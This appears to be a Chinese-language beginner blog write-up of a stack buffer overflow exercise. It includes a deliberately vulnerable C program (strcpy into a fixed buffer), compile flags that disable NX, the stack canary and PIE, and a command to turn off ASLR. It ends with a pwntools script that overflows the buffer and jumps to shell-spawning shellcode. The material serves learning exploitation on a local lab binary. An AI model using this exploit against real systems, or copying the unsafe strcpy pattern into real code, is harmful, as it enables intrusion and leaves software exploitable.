PWN…
0x01
Source:
#include <stdio.h>
#include <string.h>
void SayHello(char* name)
{
char tmpName[60];
// buffer overflow
strcpy(tmpName, name);
printf("Hello %s\n", tmpName);
}
int main(int argc, char** argv)
{
if (argc != 2) {
printf("Usage: hello <name>.\n");
return 1;
}
SayHello(argv[1]);
return 0;
}
如果直接使用gcc进行编译则会开启栈数据保护和aslr(地址随机化)。 编译命令
gcc 1.cpp -g -m32 -o kali_test -zexecstack - fno-stack-protector -no-pie
-zexecstack //关闭NX -fno-stack-protector //关闭栈数据保护
使用checksec
检查文件保护机制,详细介绍
- RELRO:分别为Partial RELRO和FULL RELRO,开启FULL RELRO意味着无法修改got表
- Stack:表示栈保护是否开启。启用栈保护时,函数执行时会向栈中插入cookie信息,当函数返回时会验证cookie信息。而这个cookie信息就被称为canary。如果开启Canary found,那么就不能直接使用溢出的方法覆盖返回地址,而是需要通过改写指针与局部变量、leak canary、overwrite canary方法进行绕过。 关于堆栈保护的开启参数:-fno-stack-protector(关闭堆栈保护)、-fstack-protector(开启局部堆栈保护,只针对局部变量含有char数组的函数开启)、-fstack-protector-all(开启所有函数堆栈保护)。
- NX: 表示是否有对栈中数据执行的权限。原理就是将数据所在的内存页标记为不可执行,当程序溢出跳转到shellcode时,程序尝试执行指令时,cpu就会抛出异常。这种情况下,call esp或jmp esp方法就不能使用,但是可以利用rop进行绕过。 关于NX的参数:-z exestack(关闭DEP)
- PIE: 表示是否开启地址随机化。如果开启就意味着进程每次运行的时候地址都会变化。
关于ASLR的参数: 0(关闭地址随机化)、1(表示将mmap的基址,stack和vdso页面随机化)、2(表示在1的基础上增加堆(heap)的随机化)
关闭ASLR命令:
sudo -s echo 0 > /proc/sys/kernel/randomize_va_space
局部关闭参数:-no-pie
(kali下的gdb自带PIE) 在Linux下需要配合ASLR进行使用,即使开启PIE没有开启ASLR也无法实现地址随机化。
0x02
gdb调试:
可以使用蒸米大佬提供的pattern脚本产生填充字符
在gdb中传入参数
运行,出现错误
使用EIP的值进行偏移计算
这样就可以得出所需填充字符是72个。由于程序NX处于关闭状态,可以直接写入shellcode并且执行。
接下来寻找call esp
或jmp esp
这类的操作。ASLR处于关闭状态。
使用命令asmsearch "jmp esp"
poc:'a' * 72 + addr_jmp_esp + shellcode
这里的shellcode选择使用pwntools生成一段。
payload:
from pwn import *
payload = 'a' * 72 + p32(0xf7dd7b51) + asm(shellcraft.sh())
p = process(argv=['./kali_test',payload])
p.interactive()
运行结果:
0x03 One’s Storm
PWN的路还long…long…long…
参考资料(部分):
(ง •_•)ง 2018-07-11 12:14:22 星期三